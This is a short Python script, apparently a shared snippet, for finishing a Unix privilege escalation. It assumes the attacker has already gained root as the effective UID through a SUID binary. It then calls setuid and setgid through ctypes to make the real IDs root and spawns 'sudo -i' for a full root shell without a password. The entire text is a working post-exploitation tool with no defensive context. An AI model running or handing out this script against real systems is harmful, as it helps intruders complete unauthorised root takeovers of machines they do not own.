Set UID/GID to EUID and spawn a shell

setids.py

#!/usr/bin/env python
"""
Let's say you've been able to run a SUID binary and
dropped into a shell where your EUID is 0, but your
real UID/GID are still 1000. There's no C compiler
and you're not really keen on dropping files on disk.
bash drops EUID for security purposes and sudo still
asks for a password. But there's Python installed.
"""

from ctypes import CDLL
from pty import spawn

l = CDLL(None)

euid = l.geteuid()

l.setuid(euid)
l.setgid(euid)

spawn(['sudo', '-i'])